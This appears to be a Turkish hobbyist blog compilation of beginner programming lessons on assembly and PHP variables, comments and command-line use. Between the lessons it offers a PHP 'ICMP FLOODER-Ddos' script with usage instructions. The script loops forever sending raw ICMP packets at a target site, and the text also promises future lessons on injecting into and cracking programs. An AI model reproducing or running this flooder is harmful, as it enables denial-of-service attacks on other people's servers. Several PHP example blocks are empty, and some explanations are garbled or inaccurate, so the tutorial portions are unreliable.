Assembly Nedir Ne Değildir?

Merhaba Gençlik.
Ben matrix1461. https://erenkuyucu.wordpress.com un sahibi bir janiboyum.Sizlere
Assembly programlama dilini elimden geldiğince anlatacağım.Anlatım
çok uzun olacak fakat sürekli kullanacağınız komutları vs şeyleri
bir e-book halinde yayınlayacağım.Ben de öğreniyorum bu dili.Zaten
bildinizmi bilgisayarınız tam olarak sizin olacak.Çoğunuz Windows
kullanıyorsunuz ve arka planda tam olarak ne olduğunu görmüyorsunuz.
Derslerimiz ilerledikçe arada programlara inject ve crack olaylarını da
göstereceğim.Anlatımlarım çoğunlukla sade olur.Ancak arada sıkılabilir
ve kısa sürede sonuç alamayabilirsiniz. Zaten adamlar yaklaşık 60 sene-
lik bir çaba ile bugüki pc leri yaparken bizim 1 ay içinde asm öğrenme-
miz tamamen bir hayaldir.Bu derslere altın bir anahtar gibi bakın.
Assembly bilirseniz amerikada çok iyi bir işe girebilirsiniz.”Amerika”
sözüne dikkat edin. Türkiye’de daha yerli bir işletim sistemimiz yok.
En son csystem adlı bir sitede görmüştüm linux tarzı birşeyler yapmaya
çalışıyorlar fakat kodlarında hata çok fazla.Olmaz yani.Belli sayıda
dersten sonra ek kaynaklara bakarak kendi işletim sisteminizi oluştur-
maya başlayabilirsiniz.6 ay sonra tamamen elim boşa çıkacak ve jamele
olacağım(jani-amele). Öyle işte. Kafanız benim derslerimle ilgili bir
yere takılırsa mesaj atın ve konu altlarına yazın. Ancak daha gösterme-
diğim dersler hakkında mesaj atmayın oyarım.

Assembly Dili hakkında ne biliyorsunuz bilmiyorum ancak derslere önyargı
ile bakanlar olacak illaki. 21. yüzyıldayız hala asm ile mi uğraşacağım
vs vs. Çoğu vb6 da downloader vs yazan adam 1 kb lik downloader yazsa
göbek atar. sizin için 50 satır koddan ibaret bu olay. Zaten kodları
derlediğimiz zaman kodlar bytler ile görünecek.Cracking vs olaylar
için de lazım asm.

Assembly hakkında yanlış bilinenler:

*Assembly zor öğrenilir
*Assembly nin kod okunabilirliği zordur.
*Assemblyde zor hata giderilir
*Assembly kod yazmak zordur
*Assembly programlama zaman alıcıdır.
*Geliştirilen programlama ve derleyici teknolojileri assembly e olan
ihtiyacı ortadan kaldırmıştır.
*Bugünki makineler hızlı olduğundan dolayı asm kullanmaya gerek yoktur
*Bilgisayarların hafızası bugün çok yüksek, assembly de olan yer kap-
lamama özelliğine hiç gerek yok

Doğruları:
*Assembly zor öğrenilir:
Hiçbir dil kolay öğrenilmez. Assembly de olan kilit noktaları bildik-
ten sonra hiç bir sıkıntınız yoktur.Sürekli güncellenmez ,masm kullan-
madıkça yeni api ler öğrenmeye ihtiyacınız yoktur.
Geri kalan tüm modern dillerde ise sürekli yeni şeyler öğrenme ihtiya-
cınız vardır

*Assembly kodları zor okunur:
Assembly kodlarının zor okunduğu kanısı yanlıştır.Çünkü her dilde
kod okuma zordur. Bir satırı bile atlasanız kodu anlayamazsınız.Yani
bu özellik programlama dillerinin genel özelliğidir.

*Assembly de hata gidermek zordur:
NE ayaksınız diyorum bunu diyenlere. Sanki vb6 da program hatası gideri-
liyormuş gibi anca artistlik yapsalar.

*Assembly programlamak zaman alıcıdır:
Kim diyorsa program yazmadığından eminim.

*Derleyici ve programlama dilleri teknolojileri gelişti:
Ne ayaksınız diyorum tekrardan. Microsoft bitse emin olun programcıların
yüzde 90 nı işsiz kalır. Çünkü çoğu ileri c ve assembly bilmediğinden
linux a geçme şansı olmaz :)

*Bugünün makinelerinin hafızaları fazla:
Fazla olduğundan dolayı çökmeler oluşuyor pc lerde değil mi? :)
Hafıza yönetimi her türlü dilde lazımdır.Mesela VB.net de variant
gibi bir veri türü var. Onun tam olarak ne olduğu bilinmedğiinden
program yavaşlar.

Assembly Hakkında Neleri Doğru Biliyoruz:
*Hızlı. Assembly programlamada işlemci 100 komut işleyeceğine kodunuz
sayesinde 10 kod işliyor. Bu da size 10 kat hız olarak geri dönüyor.
*Küçüklük.Assemly programları 100’e 10 benzetmesinden doalyı küçüktür

ICMP FLOODER-Ddos

######################################################################################

<?php
echo “Coded By matrix1461-ICMP FLOODER-Ddos”;
$site=argv[0];
error_reporting(0);
set_time_limit(0);
echo “\n Attacking”;
while(1){
// 08 (ECHO), 00 (No Code), 10 26 (Checksum), 74 65 73 74 (The data: “test”)
$dataOut = “\x08\x00\x10\x26\x74\x65\x73\x74”;

// Raw socket, ICMP protocol
$socket = socket_create(AF_INET, SOCK_RAW, 1);

// Non blocking as in the actual script it is many sockets to different machines
socket_set_nonblock($socket);

// Connect to local machine (or any machine)
socket_connect($socket, $site, null);

// Send $dataOut
@socket_write($socket, $dataOut, strlen($dataOut));

// Close socket
socket_close($socket);}
?>

############################################################################################################
Bu Scriptim ICMP flood ddos artık her ne derseniz onu gerçekleştirmeye yarar 😀
kullanımı:php flooder.php website.com

Janissaries.ORG-[3]Değişkenler

PHP’de Değişkenlerin kullanımı
Merhaba arkadaşlar. Ben JaniboyE. Bu dersimizde değişkenleri işleyeceğiz
Değişken nelerdir. Galiba 2. dersimizde $eren=15 gibisinden saçma
birşey demiştim. Değişken nedir burda. $eren adlı harf grubu programın
neresinden çağırırsak çağıralım bize 15 sayısını veriyor(burda ince
bir nokta var ilerde göreceğiz)

DEĞİŞKEN İSİMLERİ
Değişkenler programcılığın olmazsa olmazlarından birisidir dedik.
Peki bu değişkenler nasıl oluşturulur ve nasıl isim atanır.
1-Nasıl oluşturulur:
PHP de değişkenleri oluşturmak için yapmanız tek şey $ işareti başında
olan bir normal bir harf grubu veya alfanumerik bir harf grubu girmeniz
yeterlidir.

2-Nasıl isim atanır. İsmi aşağıdaki verdiğim kurallara göre atayabilirsiniz.
*Tüm değişkenler $ işareti ile başlar
*Değişkenler herhangi bir uzunlukta olabilir(teorik olarak)
*Değişkenler sayılar ile başlayamaz
*Büyük küçük harf ayrımı vardır. $Sakirt ile $sakirt aynı değildir
*_ ile başlayabilirler.

örnekler

PHP:
$_janiboy
$jani_boy
*janiboy3
$janiboy_3

hata verecek örnekler
PHP:
$3jani
$jani?
$jani+boy
$jani.boy
————————–
php de unuttuğum yerler var araştırarak öğrenin . unuttuğum yerleri
belirteceğim.

————————————–

Değişkenler üretmek:
PHP:

$bro=18;//tamsayı değikeni
$ucret=18*18;//tamsayı değişkeni
$isim=”Sayko İmam”;//string değişkeni
değikenler üretmek bu kadar basittir. tamsayılar veya kayar sayılar
diye ifade edilen sayılar direk yazılırken günlük hayatta kullandığımız
kelimeler “” arasında yazılır.
Başta demiştim bir değişken atarsınız ve programın heryerinden
çağırırsınız diye. onla ilgili bir örnek vereyim, ince ayrıntı:
PHP:

$isim=”Sayko”;//isim değişkeninin değeri sayko
$isim=”İmam”;//isim değişkeninin değeri imam oldu. artık sayko yok
PHP:

bir değikene başka bir değişkenin değerini atamak çok kolay. örneğin
$blue=”mavi”;
$red=”kirmizi”;
$ensevdigimrenk=$blue;//en sevdigim renk değişkeni $bluae değişkenindeki
değeri yani maviyi aldı
————————————————————–
Değişkenleri ekrana basmak
değişkenleri ekrana basarken print_r() fonksiyonundan vs fonksiyonlardan
yararlanırız. mesela
PHP:

scriptimizi yorumlattığımızda ekrana cumartesi basılır.

ayrıca kolaylık olsun diye —-echo—- yu kullanırız. bu php deki
önceden belirlenmiş sabitlerden birisi. ekrana yazı basar print_r gibi
mesela
PHP:

ekrana pazar yazısı basılır.
——————————
değişkeni tanımlamadan kullanmak isterseniz hata alırsınız.
PHP:

ekrana hata mesajı verir. bir püf nokta vereyim. eğer hata mesajı almak
istemiyorsanız @ işaretini değişkenin başında kullanın. @ fonksiyonlarda
farklı kullanılır.
print_r fonksiyonun hata vermesi engellenmek isteniyorsa bir örnek verem.
PHP:

eğer @ işaretini koymamış olsaydık hata verirdi.

Değişkenleri birleştirme:
Değişkenler türkçemizde nokta diye bildiğimiz “.” işareti değişkenler
birleştiriyor.

PHP:

kullanımı anlamışsınızdır. kolay bir dil php. aynı şeyi echo yerine
bir değişkenede yapabilirsiniz. bir daha tag açmak istemiyorum
satıra yazayım

PHP:

$ad=”fck”
$soyad=”sa”
$adsoyad=$ad.$soyad;
echo $adsoyad;//çıktı fcksa
daha açık örnekller veriyim

PHP:

$kelime1=”Merhaba”;
$kelime2=”Dunya”;
$sayi=123;

echo $sayi;//123
echo $kelime1.$kelime2;//merhabadünya
echo $kelime1.” “.$kelime2;//Merhaba Dunya

örnekleri verdik. echo dedikten sonra “” arasına yazı yazabilirirz.
bu yazının arasında da değişkenleri kullanabiliriz.

ekrana bulbul otmuyor diye yazı basar..

Değişkenleri silme

değişkenleri silme işlemini unset() fonksiyonu ile yazarız.Silmek
istediğimiz değişken veya değişkenleri arasına yazarız
unset($aa,$aaa) gibi

Sabitlerle Çalışmak
Sabitler ismindende anlaşılabileceği gibi program içerisinde hiçbir
değer değiştirmeyen değer tutuculardır. Programın neresinden çağırırssanız
çağırın hep aynı değeri verip asla değişmezler. dolar işaretleri yoktur

Sabitler üretmek
sabitler define() fonksiyonu ile belirtilirler.

define(“sabitismi”,”sabitdeğeri”);

sabitler konusu bu kadar basit.
ancak kullanamayacağınız sabitler var. liste olarak vereyim

and
as
break
case
class
const
continue
declare
default
die
do
echo
else
emtpy
eval
exit
for
foreach
function
global
if
include
list
new
or
print
require
switch
use
var
while

öyle işte ,tam sayı değerlerde verebilirsiniz sabitlere. tam asyı
değerlerde verebilirsiniz… fazla uzatmak istemiyorum. ders bitmiştir
bir sonraki dersimiz veri tipleri olacaktır.sevgilerimle JaniboyE

Çalıntı Sevmem Arkadaşlar. O yüzden yapmayın etmeyin başka yerlerde paylaşmayın dersleri.

Janissaries.Org-[2]PHP Ders konu:Yorum satırları-command line php-Eren KUYUCU

ders2
İlk Php scriptimizi yazmıştık.Şimdi php programlama mantığından bahsedeyim biraz.Aslında programlamada
mantık tüm dillerde benzerdir.
###########################
eren topu tut;
eren=5;
koş;

vs mantıkta komutlar olur. değişkenlere değer atanır. bu değerlerde belli veya bizim yazacağımız kodlar
tarafından kullanılır.
php kodları tagleri arasında yer alır. İlk dersimizde ekrana hello world tarzında birşey yazdırmış-
tık.Bunda da o işin nasıl olduğunu ve daha değişik şeyler anlatacağım.Kodumuzu tekrardan yazalım ve inceleyelim.
######################################

######################################
burda taglerimizi açtık. echo diye bir komut gördük. Acaba ne o?
echo komutu php de yazılarımızı ekrana basmamızı sağlayan bir komuttur.

PHP kodların Derlenmesi
PHP bir script dilidir. Bu yüzden kodlar dernelmez yorumların. Ancak 1-2 derleyici var , denedim , echo vs
harici fonksiyonlara geldi mi bir iş ypamaıyorlar.

Windows CMD, LİNUX/UNIX shell de php kod çalıştırma
Linux Unix sistemlerde script programlayan varsa bir yorumlayıcı belirtmenin gerekli olduğunu bilirler.
bu belirtme tagleri açmadan kodun en üst kısmına girilen #! /usr/bin/php
dir.komut olarak sadece php dosyanızın ismini girmeniz yeterlidir.
windows da ise cmd ye |||||| php phpdosya.php ||||||| şeklinde girdi girmeniz yeterlidir.

PHP Komut Satırı Özellikleri
-c : php.ini nin yerini belirtmeniz içindir.yani yeni php.ini atar. kullanım: php -c /home/php.ini
-f: bir scripti çalıştırmak içindir. kullanım: php -f /home/sourcen.php
-h: yardım dosyasını gösterir
-i: php info yu yazı olarak gösterir.
-l: scriptinizin hatalarını gösterir ancak scripti çalıştırmaz.
-m: php de yüklü olan modullerin listesini verir.
-r: komut satırında php kodu çalıştırmaya yarar. kullanım: php -r ‘echo “hi”;’
-v: versiyonu verir

SCRİPT DÖKÜMANTASYONU
PHP de kod yorumları 3 çeşit yapılır
1- # ile
2- // ile
3- /* */ ile

1- # den sonra gelen yazılar yorumlanmaz. örnek

2- // ile # nın kullanımı nerdeyse aynıdır.

3- Dökümantasyon için önemli olan budur. /* ile */ arasına yazılan kodlar yorumlanmaz.
dökümantasyonuda birlikte veriyorum.
ingilizcedir

bir yazımın daha sonuna geldim. gözlerim kan çanağı. ertesi gün devam ederiz. Sevgilerimle JaniboyE

ALINTI ÇALINTI ARTIK HER NE OLURSA OLSUN BU MAKALELERİ PAYLAŞAN SİTEYİ İNTERNETE GÖMERİM.

Janissaries.Org PHP ders-1–Neden PHP

Neden PHP?
*HIZLIDIR:Web sitelerinde HTML kodların arasına gömülebilir ve sayfanız eğer saldırı yoksa çok kısa bir
sürede yüklenir
*BEDAVADIR:Açık kaynak kod olup GNU lisanlı ile lisanslıdır.Yani beleştir.
*Kullanımı Kolaydır: Arkadaşlar samimi olmak gerekirse PHP kadar kolay ve aynı zamanda işlevsel bir dil
yok bana göre. Perl yarışabilir belki.
*OS Bağımlılığı yoktur. PHP Linux,Windows ve Mac üzerinde çalışır, bazı sürümleri Unix desteklidir.
*Teknik Destek Fazladır: php.net PHP’nin web sitesidir ve e-mail listelerine ulaşabilirsiniz.Tr’de PHP’ci
çoktur ancak sözde Yani fazla güvenmeyin.PHP ile ilgili yeni haberlere bakabileceğiniz adres: news.php.net
*GÜVENLİDİR: Kod güvenliğini sağlayacak sürüyle fonksiyona sahiptir.Ayrıca açık kaynak kod olduğundan
geliştiricisi çoktur.
————————————-
PHP’yi Web uygulamalarında kullanmak
PHP server tabanlı bir programlama dili olduğundan dolayı işlemlerin hepsi serverda gerçekleşir.Bu
sayede veritabanlarına bağlantı yapabilirsiniz. HTML kodların arasına php kodları serpiştirebilir, çeşitli
eklentiler sayesinde web tabanlı oyunlar yapabilir, Buffer Overflow vs türü exploitlenmeler haricinde
hacklenmez sayfalar üretebilirsiniz.Tabi ki sayfanın hacklenip hacklenmeyeceği sizin elinizde.
——————————————————–
PHP ile aşağıdaki veritabanlarını kullanabilirsiniz.
*dBASE
*Informix
*Ingres
*Microsoft SQl Server
mSQL
*MySql
*MsSql
*Oracle
*PostreSQL
*Sybase
————————————————-
PHP’yi dosya sisteminizle birlikte kullanabilirsiniz.Yani yeni klasörler üretip adlar verebilir,
ad değiştirebilir, dosya izinlerini görebilir vs işlemler yapabilirsiniz.
————————————————–
Sistem komutlarını kullanabilirsiniz.
—————————————————-

BU KADAR ÖZELLİĞİ GÖRÜPTE İKNA OLMAMAK OLMAZ

İLK web php kodunuz. kodu index.php olarak kaydedin ve web adresinizin anasayfasına girin.
HELLO WORLD YAZISI ÇIKACAKTIR
#################################
PHP:
<?php echo "HELLO WORLD" ;?>
##############################

bugünkü dersimiz bitmiştir.######### EREN KUYUCU